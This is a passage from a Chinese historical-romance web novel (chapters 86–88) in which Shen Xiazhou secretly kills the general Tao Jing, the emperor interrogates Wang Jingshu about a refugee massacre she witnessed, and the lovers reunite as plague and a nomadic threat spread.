陶敬此人心思深沉,为陈雍所用后,总领军政不断增兵,京畿数十万兵马尽在他调遣,每日出行非常人可以近身。 他不死,陈雍就一直有底气,朝中三方并立局势也难以撼动。 若再令其人壮大下去,日后只会更难对付。 从入洛的第一日始,沈遐洲就一直在琢磨着怎么杀了此人。 陶敬此次会被派出兵也并非意外,将暴动引至京畿等地全是他手笔,每一步说不上多精巧,但全踩在陈雍会做出的决断之上。 陈雍不会光养着陶敬而不驱使,但如何驱使,何时驱使,或是他皇位来得阴谲缘故,总忧心世家会再次合力策动政变,不会轻易放离陶敬离开过远之处。 但在陶敬的管辖内,接连被暴动的流民匪类掠走粮草,陈雍定然动怒,他不可能调动自己手中的亲兵,也不可能驱使世家私养的部曲为他效命,若还想用雷厉手段稳定下京畿,必然遣动陶敬。 沈遐洲等的便一直是这样的机会,在乱中取陶敬性命。 又奔驰半日,天色已黑,沈遐洲于高坡之上,最后看一眼陶敬扎营埋釜的营帐,绕行而过。 * 与此同时的洛京城中,便是再人心惶惶,也得准备过年,各处庙宇在熬煮稀粥,分发百姓与流民,多有安抚之意。 换了往年的这个时候,城中也早该张灯结彩热闹起来,今年却很是萧条,纵是摆出了一些喜庆的摆设,诸多百姓面上也如覆着一层阴霾,难以欢喜。 一直以来平和的假象好像豁然撕开了一个口,原来洛京外的各处是那般不太平的,城外的死人是能堆成山的, 粮食也是可能无处买得的…… 他们一边担忧又一边仍对他们的天子怀有期望,派出的兵马一定能将暴动镇压,带回本属于他们的粮食,粮价也终能控制,他们交了那般多的赋税,国库也定然充盈,便是情况真继续恶化下去,天子也定然不会不管他们的,一定是这样! 担忧与期望在人人心底拉锯,得朝廷授意施粥的庙宇一时更是兴盛非常,人们自发地去拜神佛祈愿。 但同时也有诸多以赠送治病符水,宣传教义的教派兴起,他们在短时间内聚散为众,以宣扬教义为由,侵占小富之家家财。 有时,一日报官者鸣鼓,能从日升到日暮从不间断。 然与之相反的是洛京的大族官宦们,他们永不至吃不起饭食的地步,他们有庄园有田产有卫士,宴饮甚至如常,些许人家还私下以此竞奢。 荒诞、麻木、痴迷,诡异的氛围,犹如一只只无形的手,在拉着人一同沉沦。 光是在街市行上一圈,便足以令王静姝感到不适,她腿伤才好不久,其实已很少出门,但她想趁如今还有人富足,将所剩的一些细软字画换为银两,再置换一些伤药与粮。 王氏才迁入洛京一年,不及其他在洛京长久经营的世家,并无甚田产,平日的用度与米粮不是每月采买,便是从建业运来,可现在匪类横行,暴动频发,就连王瑞见得日益上涨的粮价都蹙眉,她也心中不安。 再则,王闻俭同流民接触过甚,同情心过甚,被王瑞发现,现已被禁足在家。 王闻俭在禁足中,还记挂着他救济的一些孩童,也托了她帮忙典当一些玉饰摆件,给那些孩童送些衣物食粮去。 她应下了。 她坐于马车中,等着去典当与采买的卫士和婢女回来。 足等了半个时辰,马车后方坠上了一辆装着粮食药物,盖着毡布的小车。 流民仍被安置在城外,出城时,城门卫士较过往多了许多,但许是王闻俭常出入缘故,见是大司农府的马车,并未多排查便放行。 流民聚集所在处,临时搭建的棚子一眼望不到尽头,但可见的简陋,不避风,不御寒。 远远的,就能听得各种哀嚎、争抢…… 人性从来都是复杂的,都吃不饱饭了,还哪来的仁善友爱,强壮的抢夺弱小的,弱小的也会欺骗更弱小的。 王静姝的马车一经出现,便被一双双如冒绿光的眼盯着,但她出行并未刻意低调,大司农府的徽记醒目,卫士也带得足够,她距离流民所在隔着很大一段距离,只遣王闻俭的仆从与几个卫士,去寻王闻俭担心不下的孩童。 她其实觉得王闻俭所做半点意义也无,他能救济多少人呢?又能护着日益增多的可怜孩童多久?便是盯着孩童填饱肚子,难道旁的不受惠及的流民便不会嫉妒成恨吗? 无非因王闻俭是世家郎君,这些流民们在朝廷的安置下,大部分还仍有畏惧之心,但不见得就不曾想过上前抢掠。 这是昔日沈二郎教会她的,然她仍愿意为王闻俭前来,无非是觉得王闻俭虽有点傻,可也不免赤诚,不愿他心中的那团火焰熄灭。 她不曾下马车,只偶掀开点帘子,透过卫士的遮挡看一眼远处的连绵木棚。 冬日的天总黑得比预料得快,似有幢幢人影在其中飞快穿梭,每进一个破布遮挡的木棚,又飞快闪出再进入下一个,火光也随之而起。 王静姝马车周旁的卫士忽地紧绷戒备起来。 卫士:“娘子,不能留了。” 王静姝也当机立断,下令:“走。” 也不管还未曾归来的卫士与王闻俭的仆从,马车在卫士的挥鞭下,立即向城门奔去。 远远的,有黑影也在往他们离去的方向追上一段距离,停下眺望。 王静姝的车驾马匹皆是精良,奔驰起来飞快,但坐在里面的人并不好受,她忍耐住了,然直至入了城门,她也仍惊魂未定,她其实瞧清了,那些黑影是在杀人,在清理流民! 她捂着狂跳的心口,努力让自己冷静下来,但等了一夜,她派出送粮的卫士仍未归来。 而从外打听来的消息却是,流民棚所失火,安置偏北一面流民死有八成,其他流民棚所也多受波及,一夜间,许多人连难以遮风避寒的居所也失去了。 冬日的寒冷,只会死去更多的人。 而谁才是迫切想解决掉流民的人? 越想,王静姝心中越是难以安定。 果不其然,除夕当日,她竟也被邀了宫宴。 陈雍单独召见了她。 王瑞也愕然,却被陈雍身边的内监拒绝一同前往:“陛下只道要见王娘子,大司农莫要令奴为难。” 王瑞目中犹豫一闪而过,取而代之的是狠厉。 王静姝知,王瑞自她入洛以来,已帮她挡了数次陈雍的召见,可现在拦无可拦,他在取舍,然后放弃了她,要令她自生自灭。 荆扬两地的私下往来,女郎婚事不过是一有力凭证和联结,可比婚事更重要的是利益一致。 明眼可见的,帝王对大绥各处的掌控力在减弱,但若因一女郎婚事的暴露而显出了他的野心,帝王震怒下,首先针对的必然是洛京的大司农府。 他想一会,含笑同内监道:“如何会令公公为难,只六娘第一次面圣,还容我叮嘱几句。” 只要不是要陪同一起去,内监还是愿意卖王瑞这个面子的。 王瑞示意王静姝跟他到一旁说话,压低声:“六娘,你该知帝王对我等世家的戒备,你父与我有如今的积累也不易,你的婚事若实在保不住,便罢了吧。” 王静姝笑了:“大伯放心,我心中有数,不该说的,我不会提及。” 一纸假婚书,能令王瑞不留余力保她至今时已是不易,毕竟她的作用还没到不能被取代的地步。 况她隐觉得,陈雍单独召她怕是同她那日在流民棚所所见有关。 她不曾将这事告诉任何人,王斐如给她安排的卫士,也自是听她的。 帝王私杀流民,这种惊骇之事,何人敢宣扬? 她也不敢告知王瑞,她信不过王瑞,这不,现下王瑞还什么都不知道呢,就又在韬光养晦与暂舍去她间做出了选择。 若还让他知晓了她无意撞见的事,还不私下就先将她处理了? 所以她从始至终都笑着应下了。 王瑞凝着王静姝跟着内监离开的背影沉思良久,他越发瞧不清这个往日只知玩乐闯祸的侄女了。 她的胆子大得没边,主意也极强,当真会乖乖听话? 怀疑之余,也颇有些可惜,荆扬两地联结,若少了些姻亲联系,总归少了几分踏实,可若从旁支女郎中再挑选送去,又显不够重视,可惜家中没有多几个如王静姝这样,嫡亲貌美还适龄待嫁女郎。 王瑞收回眼,只希冀王静姝能自己摆平帝王的此次召见。 * 王静姝已许久没见过陈雍,甫一再见,只觉陈雍不愧是为了帝王,全然不复记忆中的模样。 若说昔日的陈雍时时透着宽和之态,那现在他给人之感便只有压抑。 不是帝王自然而显的那种霸气,而是紧绷又时时想彰显威仪的压迫,或同他幼时成长,还有登基以来的经历有关,即便得到了,也时时担忧会失去,日夜所思都为抓得更紧一些。 连带得他的面相都好似发生了变化,长眉压眼,本就偏浓郁的五官陡地变得锋利阴狠,再无初见时的清远之感。 王静姝垂眼下拜,未听宣起,便一直维持着下拜之姿。 陈雍目中晃过一丝复杂,他已然对王瑞近来同吕相走得近,生了反感,派出清理流民的亲卫更是查得,清理那日,在城外可能见得他们纵火杀人的,就是大司农府的王六娘子。 不管是何人窥见,若要维护住帝王的声名,都应杀了以绝后患。 然这念头在再见得王静姝时,他犹疑了,女郎垂着眼,长睫飞翘如檐,光下如玉如瓷般的肌肤美得毫无瑕疵。 无论多久,又拥有了多少美人,陈雍只在王静姝一人身上,感到那种难以言喻的砰张兴奋,秾丽清绝的女郎光是格外宁静地立在面前,就足以令人怜惜,令人想将其征服。 也令人想起王静姝昔日对他的拒绝。 陈雍步下踏跺,立至王静姝面前,王静姝敏锐退开一步,态度瞧着倒是越发的恭敬。 陈雍既不悦又挑不出错,方伸出想挑起女郎下巴的手也重新放下,声音陡地冷沉:“王娘子,你近日可是出过城?” 王静姝面露茫然困惑:“陛下说的是哪日?臣女自来贪玩,近日伤好,倒是常有出门,城外也确是去过。” 自察觉自己发现的秘密,在幕后之人寻上前,她特意又出了几次门,即便无事,也在不同的时段出城随意绕行片刻再回。 为的便是做出寻常的模样,弱化那日的特殊。 “流民棚所失火那日。”陈雍直接点明。 王静姝恍然:“原是那日,确有路过,听闻失了火,可真是骇人极了,现想起来若非臣女只是路过,走得早,怕也要染上那等贱民的肮脏了。” 她十足嫌弃骄傲的模样,直如高高在上不知人间疾苦的天真刻薄女郎。 陈雍盯视她鲜活明妍神情半响,却失了耐心:“王娘子,莫再同朕装模作样。” “你都看到了吧?” 他语气极其阴沉,攫住女郎的目光也骇人极了。 王静姝敛容收笑,却拒不承认:“臣女不知该看到什么。” 陈雍厉声:“带上来。” 话落,殿中忽地被带上两满身血痕的男子,他们被拉扯着头皮仰头。 “王娘子可看清了?这可是你的护卫?” 这二人赫然便是去给孩童送粮未归的卫士,王静姝本以为他们已然死在了那场火中,没想竟被抓了活口。 二人面对王静姝目光,兀自垂头自责,不敢祈求女郎相救。 他们皆是王斐如为王静姝再次入洛,精挑细选出来的卫士,忠心自是不必说,家人也全赖王氏养活,看他们受刑模样,想也是宁死不招供的。 可他们活着便是人证,陈雍是在用他们告诉王静姝,他已查到是她,不管她是否真的瞧见,都逃不开干系。 王静姝凄然一笑:“臣女实不知该瞧见什么,陛下既将他们带来,想也知我是为何出现在流民棚所。” “王娘子聪慧,应知朕想要什么。”陈雍噙笑,绕过女郎抛出的无辜话语,再次逼近。 女郎身上的馨香实令人神志昏昏,这般活色生香的美人任人都不忍心令她去死的。 他暗示得已足够明显,然王静姝再次后退:“臣女不知。” 美人自来都是知晓自己貌美的,尤其是王静姝这样张扬大胆的女郎,一经确认陈雍舍不得杀她,更是善于用自己美貌,在陈雍即将发怒前,她又道:“陛下应知我不喜被迫。” “且臣女同陶贵嫔过往便不对付,怕是不能好好相处。” 她实在貌美,美目骄傲婉丽,说话时略从人身上掠过一眼,便如钩子般,牵人心神,一番拒绝的话,生生令人品出了不一样的意味。 她是在同陈雍要位份,还是必须不输于陶然的位份。 陈雍怒意顿时消散:“朕欲聘你为夫人。” 王静姝不为所动。 陈雍也沉吟了,便是曾想过聘王静姝为皇后,可他如今还在不断扶持陶敬的时候,不可能越过陶然将皇后之位给王静姝,坏了平衡。 除非南北世家彻底对立,以吕相为首的北地世家彻底垮台,拔了他心口的那根刺,他方愿再多仰仗王瑞一些,好令其同陶敬相互牵制。 他既是在逼王静姝也是在逼王瑞,还同是在与他们许诺利诱。 他无疑不舍貌美鲜妍的女郎,可他更爱权势地位。 所以,其实他也没有那么喜爱王静姝,无非是征服欲在作怪罢了,可也正因为这,王静姝才还能安然无惧地同他相谈。 王静姝面上冷静,心底只觉可笑,陈雍自登基后,到底是多久不曾往外看一看了?到了现在还一心玩弄帝王制衡,真以为杀光流民,拔除吕相一党,再去励精图治,便可重复海晏河清吗? 她一女郎都觉痴人说梦,从他放弃百姓的一刻开始,便再难匹配天子之职了。 当然,这些想法她是绝不会说出口,也不会显在面上的,她只会退让,言道:“陛下既欲聘我,那便不该随意待我,也合该再同我伯父商量。” 她一语双关,从要位份始,便是为拖延时间,再将王瑞卖了,便由他们商谈拉扯去吧。 王瑞有更好的选择在前,绝不甘心一夫人之位就将王静姝卖了,陈雍也不会轻易许出皇后之位,便是许出了,怕是也得王瑞先出了力。 她最大的难关从一开始便只是面对陈雍的召见,揭过发现的秘密。 只要安然出了这殿门,她的婚事到底落在哪还不一定呢。 所以她大方极了,不该说的半分不说,需许出去的婚事轻易又许了。 只是沈遐洲若知晓了,怕是又有得气了,也不知现下他要做的事可做成了? 她神思有一瞬的漫然。 而陈雍沉思后,实难狠下心杀了女郎,那便愿给她体面,且她身后所代表的一方势力,的确不是可随意接进宫中的女郎。 她如何被请来的,又如何被送了回去,只那两卫士陈雍并未还给她,甚至当着她的面处置了,以此提醒女郎既不知瞧见了什么,那就从一而终的好。 王静姝一直维持着镇定出了宫,直至无人处,才发觉手心皆是汗。 她觉自己本质就是个疯女郎,胆子极大,一再用自己作赌,不管是真的也好,假的也罢,婚事都许出好几遭了。 可也真亏她不止貌美,还极有价值,方能这般作赌。 独自缓了许久,她才从马车中出言:“将牺牲卫士的名册理给我。” 因她死去的卫士,她皆会记着,至少,他们的家人,她会尽可能地照料。 她会在给阿父去信时,将他们的名册也附上。 * 王静姝几乎没有参与宫宴,便离开了,同不曾参宴的还有沈遐洲,但此时的他,也在极力地赶回。 他衣袍染血,面色苍白,像是受了极重的伤。 陶敬并不好对付,需先将此人诱得亲自上阵,方有机会乱中取其性命。 他绕行先同早早安排的匪类汇聚,亲自指战。 陶敬察觉出匪盗的不一般,亲领兵围山。 攻防拉锯足持续了两日两夜,沈遐洲终带人马一路杀至陶敬近身,二人兵刃相接中是你死我活的决然。 他赢了,厮杀的痕迹在他身上凝固,狰狞血污分不清到底是他的还是旁人的,但他半分不得停留,他必须赶回洛京。 除夕宫宴即便是装病,陈雍也必会遣人去确认他情况。 如他所料的,星泉已快急哭了,宫中遣了人来看望,非要见得沈遐洲才会离去禀告。 星泉将能想的借口都用尽了,终于等到郎君回来,然甫一见得郎君形容,心疼得几乎要哭出来,年轻郎君满身与尘雪混在一起的血污,还有黏连在身上的血痂,光是脱衣便有拉扯开的伤口在汩汩流血。 他着急上去擦拭,却怎么都擦不干净。 沈遐洲挥开他:“打水来。” 随意冲洗后,也没有好好上药,先缠上了绷带,披上衣,出门见了几欲闯入的监官。 沈三郎在洛京的境遇人人皆知,这就是一个落难的病郎君,陛下仁慈才有他今日,然天子是否真心照料,人人心中都有一杆秤,也多有些狗仗人势的玩意,觉得自己也能欺一欺昔日的 天之骄子了。 此刻来人见沈遐洲面比纸白,唇淡得像是死了般,那撑着出来的身子骨,当真是风一吹就要倒了的模样,当即自得起来,瞧瞧,再病还不是要撑着出来见自个。 然下一刻,他便被年轻郎君如鬼般扫来的一眼,吓得端不稳茶盏,登时又怒又气地起身道一句“晦气”,匆匆离去。 星泉气红了眼,恨不得追上前去同那监官拼命。 方踏出一步,察觉郎君身体的摇晃,又紧着去支撑郎君,再次替郎君褪下外袍,只见内里又渗出了血。 他四处翻药,忙前忙后地为郎君处理伤口上药。 身体上的伤,并未令沈遐洲意志昏沉,他赤红着目,像是感不到痛楚一般地染着残酷的幽暗,他脑中仍不断算计着什么。 这样的郎君太过熟悉,如只知杀戮的恶鬼,在星泉照料沈遐洲的很长一段时间里,郎君都是如此,是王娘子人洛,郎君才像是恢复了些为人的生气。 星泉忽地无比想念王娘子,若是王娘子能此时来看看郎君便好了。 无独有偶,夜里翻来覆去睡不着的女郎,披了斗篷,自角门处出了府。 第87章 第87章雪人 夜极清极冷,不知何时下起的雪,落在屋檐,落在树枝,车轮轧过道,留下带污的痕迹,最后在一扇漆黑大门前停下。 女郎从马车中下来,亲自扣响了大门,里头传来一阵门锁响动,吱呀开了一道缝,全身笼在斗篷中的女郎美丽又鬼魅。 开门卫士吃惊不小,却在认出来人后,连忙更敞开门扉。 王静姝毫不迟疑踏入,门也随之在她身后关上。 “他回来了吗?”王静姝开口。 “郎君已归。”为女郎开门的卫士恭敬答了,但语气明显有停顿。 王静姝蹙眉,她料定沈遐洲无论如何今日都会赶回洛京,但她等了半宿,都不见沈遐洲来寻他,实非寻常,如何也再难入睡,便自己寻来。 此刻沈遐洲府中卫士的迟疑,不得不令她担忧。 那卫士自是知郎君对王娘子的重视,或者说,郎君手下的卫士皆知王娘子便是他们的女主人,所以答的也痛快,只郎君负伤,不知该不该主动提及,一想下,默默在前引路。 王静姝也加快步伐,问再多不如亲眼去见。 沈遐洲的院落并不偏,但寂清极了,虽是冬日,可半点不见草木花影,可见沈遐洲平日是如何地清冷,心底又是如何地荒芜。 得无知无觉到什么样的地步,才能一日日面对这样的院落? 王静姝心底蓦地抽痛,忽地察觉,沈遐洲的真实情况,或远没有在她面前时表现的那般正常。 她掀下斗篷兜帽,簌簌雪片抖落间,房门也陡地从里打开,是正欲出门换水的星泉。 星泉吃惊,他先才还想着若是王娘子在就好了,王娘子竟就真的出现了,他端着盥盆,喜形于色,一时没有让开。 王静姝却瞧见了水中漾开的丝丝血痕,开口带涩:“他、受伤了?” 星泉欲泣,郎君何止是伤,那是伤得水都换了好几盆,可他不知该如何同王娘子说,遂点点头,带哭腔似的道:“娘子去瞧瞧我家郎君吧。” 王静姝从他身侧擦过,周身带的寒气在暖融的屋中升腾起些热意,她又缓下脚步,皙白手指在颈下轻扯一下,带有融雪的斗篷落地,这才转入屏风后。 此时床榻间的郎君只着一袭白色单衣,像是睡着了,不止容色是清清淡淡的,呼吸也轻缓,若不是胸膛中的起伏,恍若死人。 王静姝探一下他的额,他的眼睫也倏地动一下,很快又阖上,嘴唇在动。 她凑近去听他在说什么,竟是在唤她“卿卿”。 女郎倏地笑了,笑得静谧美好,为他拉过被在脚踏处坐下,趴在塌旁瞧他,一层单衣几乎挡不住其下裹着的绷带,她根本不敢去探究他到底受了多重的伤。 她的郎君啊,可真是命途多舛,半大少年时,就因中毒身体不好,现在又总将自己折腾得这般惨。 不管是以前,还是当下,她其实都有许多旁的选择,可怎就偏偏舍不下眼前的郎君呢? 王静姝望着静睡的郎君出了神,烛光落在他的脸上,照得他脸骨秀致,清贵端然,睡姿也板正。 分明是个毛病极多的疯郎君,可这般看着,就是觉得有趣极了,会不受控地想他清朗疏致时的模样,被气得红眼的模样,还有羞涩温柔的模样,就连发疯胁迫时的阴戾也无端地刺激。 再无能如沈遐洲这般给她这么多感觉的郎君了,她抬手虚描沈遐洲的眉眼,肯定,她就是喜爱沈遐洲这样又病又疯的郎君,旁人再好,再能给她安定和一时的权势,都不是她想要的。 星泉又换了水轻手轻脚地进来,王静姝挥手让他下去,自己接过了帮沈遐洲换巾帕的活,他失血过多,又连日精神的紧绷,在王静姝来前,才堪堪松了心弦。 他有些发热,需留心着换散热的冷帕。 王静姝做了一会,也不觉有什么难的,甚至觉得颇为安心,连日来的不安也在这样的陪伴中变得安宁。 翌日,天色蒙亮间,沈遐洲的意识先于疲惫酸疼的躯体苏醒,只见不远的窗台上,不知何时立着个巴掌大的小雪人,头小身大,眼却是特殊的红,像是从哪扣下的红玛瑙缀成。 他撑起身,走至窗台,小心地捧起雪人,他知王静姝来过,夜里意识混沌间,他便察觉到女郎对他的细心照料,他极想睁眼,告诉她,他无事,眼皮却有千斤重般难以抬起。 屋中燃着炭,手中的雪人已然融了不少,他不敢再多捧在手中,放回窗台,将窗也大开,令外头的风雪覆上雪人,以延缓它的消融。 星泉甫一入屋,就被灌入的冷空气惊到,狐疑是炭火烧得不够旺,再去寻郎君,却瞧见郎君简直不要命了,只着单薄单衣在大开的窗台前照料雪人。 一会怕雪人过小被风吹倒,一会又忧屋中过热,伸手捧着雪人探出窗外。 神情专注之余,竟有些执着的天真。 * 王静姝回至大司农府时,时辰尚早,但天色已见亮,甫一入府,影壁后便转来怒叱:“你一女郎,一夜去了何处?” 是王瑞的声音。 王静姝有些困倦地抬眼,并不理会王瑞的怒叱,偏头望一眼他的装扮,玩味提醒:“伯父还是少忧心我,快些去正旦朝会吧,今日怕是有大事发生。” 她既知沈遐洲偷离洛京,自也猜得他要做的事定然成了。 王瑞在等的机会也来了。 她不管王瑞如何想,施然绕过影壁,回房补眠去了。 王静姝的日渐大胆,不将他放在眼里,王瑞气恼,下令府中卫士看牢她,禁止她随意出府,如此才觉气顺了些,这时再去想她话中的大事发生,皱了皱眉,踏出了府。 然大朝会时,却迟迟没有等到陈雍上朝,诸多大臣不由纷纷小声议论,王瑞听半晌,眉心一跳,有些思量。 * 比早朝更早送入宫中的是陶敬的丧报,陈雍不可置信之余,生生吐出了一口血。 早年为在长公主手中讨得安心,不得不一直保持着病体,现虽不用在刻意病着,但一年多的调养,都抵不过这个噩耗来得突然,没人知道他在陶敬身上耗了多少的心血,而陶敬又为他做了多少事。 陶敬一死,意味着他一手扶持起来的武将一支失去了领头人,朝中一直维持的平衡也将岌岌可危。 “谁杀了他?”陈雍痛色深敛,声中满是要将罪魁祸首碎尸万段的阴狠。 报丧小将头皮发麻,抖着身却说不出个何人来,乱成一片的山头,匪盗、兵将、流民、或还有杀手,全杀红了眼,火光漫天下,谁也不知是何人隔开了亲卫,又是何人取走了大将军的性命。 他们只瞧见大将军死了,死状凄惨,浑身刀剑外伤,最后还是从山火中强拖出的尸身。 陈雍怒拍御案,再问 :“暴动、粮草呢?” 小将再次叩首,已近失声。 大将军一死,群龙无首,盗匪也撤去,无处寻踪,粮草也自是没有夺回,只有什么都不知道的流民还向他们寻救。 陈雍冷着脸命人将其拖下去,小将头不断触地求饶,“陛下,末将、末将真的不知啊!” 殿中余留一抹鲜红血迹,陈雍喉中再次腥甜,咳嗽一声压下,召来亲信:“传朕口谕,将陶信召回。” 陈雍不会信陶敬的死是意外,但他必须稳住朝局,不令任何人有机可乘,陶敬死了,那就施恩给他儿子。 倒不是陶敬之下没有的资历老的将领,但此时无论抬举谁,都或惹得相互不服,既如此,不如陶敬之子承之,反倒能稳下人心。 无论如何陈雍终是打起精神上了朝,正月旦,有王者岁首之说,接受百官庆贺,再赐下新年赠赏,是惯例。 然再是强打精神,一场朝会下来,他半分没有喜意,面色也极为难看。 这更惹得众人猜测纷纷。 陶敬的死不是小事,便是陈雍不将消息传出,也各有各的消息来源。 才出宫门不久,吕相便邀王瑞一叙。 吕相:“王公可知陛下今日为何迟来?” 王瑞自来老奸巨猾,便是不知也不被吕相牵着走,呵笑着将等待时内监说的话拿出来说道:“陛下身体不适,自是晚了些。” “王公信?”吕相笑语间忽地抛出个惊雷:“陶敬死了。” 王瑞的笑意忽地僵在了面上,眼也陡地沉下,目光所落之处,无疑是在同吕相确认。 吕相并不道是从何知晓的消息,只是提醒:“我们这位陛下啊,心思深着,王公,你该想想以后了。” 王瑞谢过他好意,下了他的车驾。 王瑞自是听懂吕相话中的含义,他举家迁入洛,立场从一开始就是特殊的,他既不站吕相,也不站陶敬,他为的是帮新帝平衡这两方势力的同时,自己获利。 而新帝,彼时初登基,就脱离吕相掌控,他需在培植自己势力的同时,有一个能同吕相打擂,互相消耗的势力,所以有了自己入洛的机会。 说白了,陈雍就是刻意在令南北世家相争,最后以期养大陶敬将他们共同吞下,可惜,陶敬死了,吕相也开始同他示好了。 他确实该开始思量以后了。 是同吕相一方,趁寒门弱,将其打回原形,还是接下帝王抛出的橄榄枝,彻底为帝王用,同吕相撕破脸。 前者,世家同世家有很长久的以后慢慢斗,一切恢复至最初的模样;而后者,陶敬死了,陈雍必然扶持他压倒吕相,王氏会成为凌驾所有世家之上的超一等世家,但后患也显而易见,帝王存留的实力,或会令他成为下一个吕相。 王瑞贪心且谨慎,回至大司农府,倏地想起王静姝提醒他说的会有大事发生,身子蓦地一僵,六娘难道早知陶敬死了? 她从何而知?一夜又是去了何处? 凉风撩过颈侧,耳畔似又响起一个年轻郎君阴恻缥缈之声,那声的主人道:“王公,我会帮你。” “慕容部族不会止步幽州——” 陶敬之死带来的巨大喜意瞬地被这回忆冲散,震惊浮现脑中的可能,陶敬的死难道与沈三郎有关? 是了,他从吕相口中只知陶敬死了,然陶敬为何死,怎么死的一概不知。 “带六娘来书房。”王瑞冷声下令。 此时的王静姝仍在补眠,被竹苓唤醒之际,听得是王瑞要寻她问话,冷冷同外回道:“替我转告大司农,我一小女郎,能知什么,大伯寻错人了。” 第88章 第88章“卿卿,你要同我一起走…… 王静姝终是没有去见王瑞,一心补眠。 偏王瑞除了禁禁她足外,旁的也做不了,她太过特殊,一女许了两门亲,若她当真还同沈三郎还私下往来,那牵扯便更多了。 王静姝颇有债多了不愁的安然,再睡醒时是被窗棂外的清脆响声给吸引的。 她不记得窗外有挂风铃等物,竹苓替她推窗查看,确是摘回一串风铃,风铃异常夺目,宝石相缀,色彩缤纷,下还挂着个小香囊。 竹苓面色有些发白,方为娘子摘风铃时,檐上忽地倒挂下一男子,道这是替他家郎君送来,竹苓被吓得不轻,但话却是不错漏地转达了。 王静姝面上倏地绽开笑靥,只有沈遐洲会做出这种事,香囊中是沈遐洲给她的信。 信中并不提他此行的凶险,也不提他的伤势,反说的都是些无关紧要的话,如过了正旦,他们便都又长一岁,问她可有想去之处,又如,问她对风铃可喜? 还同她说,夜里风雪大,城中也不是很太平,若实在思念他,可在窗前挂上风铃,会有他的人取走囊中的信。 分明是他想得到她只言片语,却被说成是她在思念他。 王静姝嗤他,也提笔回信,顺带也问了诸多旁的事。 风铃挂回窗棂,不久,下方的香囊便被取走。 在二人这般不断往来消息的两日里,陶敬的棺椁也被护送回了洛京,陶然悲痛,帝王痛敛,朝臣思虑,猜测死了大将军,这空出来的权柄谁能拿下? 然隔了不过几日的功夫,陶信被召回来了,众人便知帝王原来早有打算,有人失望,有人庆幸,还有人震惊。 失望的自是没能自陶敬死后获利的,庆幸的是陶敬麾下的一干人等,他们没有被帝王抛弃。 至于震惊的,盖因陶信带回的消息。 陶信原镇守冀幽两地交界,一直防着慕容部族继续往中原腹地扩张,慕容耿自与大绥做了交易受了封赏后,确实未再往大绥境内扩张,但陶信察觉慕容耿动向奇怪。 整个冬日,慕容部族在大肆盘剥幽州境内百姓的同时,一直打着大绥的名义,在对外主动挑起战争,先是同东部鲜卑的自己人开战,后又同河西鲜卑的拓跋部族开战,隐还同羌胡有摩擦。 这确多有些奇怪,可慕容耿打的是大绥的旗号,扬的也是大绥的国威,诸人对此纷纷有不同的看法,有称这异族是有心在讨好大绥,也有人觉得其中或有古怪。 最后商讨遣使去一探究竟。 同是时,洛阳城外忽地生了一种疾病,蔓延速度极快,大片的流民染病,有人先意识到或是流民日日同腐去的尸体混居在一处,才生了疫气。 城内外人心惶惶,朝堂也立马对此采取了措施,流民被有组织地驱赶更远处,原混满流民尸首的棚所被一把火烧了个干净,整个外城的天际都弥漫着焦臭,内城也人人争抢买药、熏蒿,恐自己患上疫病。 然即便如此也仍没能阻止疫病的蔓延,城中开始家家户户搜查,一旦有病症的皆被强势带走,天子脚下,哀鸿一片,洛河中不知投了多少走投无路之人。 偏是这样的时候,二月里最重要的龙抬头一日,不曾下雨,接连几日也不见半滴雨水,又显大旱征兆,流民也不减反增。 这实在反常。 * 因疫病流行,大司农府中每日出行也皆有定数,非必要不得出府,便是王瑞从外头归府,也得熏药换衣才入中门。 王静姝备的药足,一早便送了不少给沈遐洲,为防卫士往来送信也染上疫病,他们在窗下传信的次数也少了。 但近来反常的地方实在太多了,就拿王瑞来说,乱世将至,他不显颓态,神情反还多了些志在必得的兴奋,她料定王瑞许又在筹谋什么,只她消息实在闭塞,猜不透。 她将这些都写于纸上,眉心蹙了许久,终是主动提及了另一件事,除夕当日,陈雍私下召见,欲聘她为夫人。 有假婚书在前,王静姝其实非常不愿同沈遐洲提及此事,何况,洛京接连大事发生,陈雍便是有心,也不可能在此时聘夫人的,说不说似乎都没有什么打紧的。 但她一月有余没有收到父亲的来信了,心中不安,尤其是王瑞瞧她的眼神,太熟悉不过,那是又想将她卖了的眼神。 王瑞的筹谋里或 将她也算计了进去,她不得不防。 信被她卷成一小团,塞入香囊挂在风铃下,不多时,便被取走了。 等了半日也不见回信送来,她也不急,总不会是她坐不住。 果然,夜半时分,便有坐不住的郎君主动寻来,对上女郎炯亮的眼,一早做好兴师问罪的佯怒也陡地发不出来,毕竟总不会是女郎的错,错的是那些总觊觎女郎的人。 他的面色阴沉扭曲一下,又转瞬恢复。 王静姝也当没瞧见他的别扭,点了一盏微烛,邀他离她近一些。 但沈遐洲仍旧同王静姝隔着一段距离:“疫病盛行,你还是莫同我靠得太近。” 他从外头来,即便在入女郎屋前就脱了外氅,但疫病防不胜防,还是莫靠近的好。 王静姝却不管这些,他不来就她,那便她去就他,一步步逼近郎君:“你当真要同我隔着两臂的距离说话,你也不怕你我的声音惊动了外头的人?” 她的外头无非是几个婢女,但夜会郎君也足够大胆令人惊骇,若惊醒了她们,说不得还会惊动周旁的几个院落。 沈遐洲被女郎逼至他翻入的窗台,一直未取下的风铃瞬地被碰出一阵脆响。 女郎扬眉望他,完全不怕被发现的挑衅。 沈遐洲实是败给她了,将风铃取下,关上窗扇,小心翼翼地竟隐秘地生出些偷情的刺激。 他将此归咎于王静姝白日送他的信,她假许一亲事就算了,竟在他不在的几日里,又许出一亲事,还瞒他许久。 他心中对她有怨气,也不经想起女郎曾应下为他夫人的承诺,是否也这般随意? 一想得这种可能,他便控制不住的烦闷,眼底更是因爱而起的疯狂,一手掌在女郎腰后,二人倒转了气势。 却察觉女郎在他动作之时,双手也顺势圈上了他的腰。 “现在好了,便是真要病,我们也一起病了。”王静姝自他怀中仰起脸,眼中映着奇异流转的光。 她总能一瞬将他从地狱拉至天堂,再对她升不起半分戾气,只要望着她笑,神魂都好似在摇曳。 二人也不再讲究什么距离,说起正事。 沈遐洲自有他的消息来源,甚至快于洛京的诸多人,他冷笑着提起慕容部族:“慕容耿可不是好心帮大绥收服鲜卑羌胡。” “他是借大绥的势、用从大绥抢的粮和人,完成自己的统一霸业。” “东西两部鲜卑如今尽在他掌控,怕是不久就要再次南下了。” 王静姝听得心惊,倏地就明白了之前总觉反常在了何处,基于游牧民族逐草而居的特性,鲜卑等族食物来源皆依赖牛羊等,深冬与初春也都是养畜的时候,极少发生战斗。 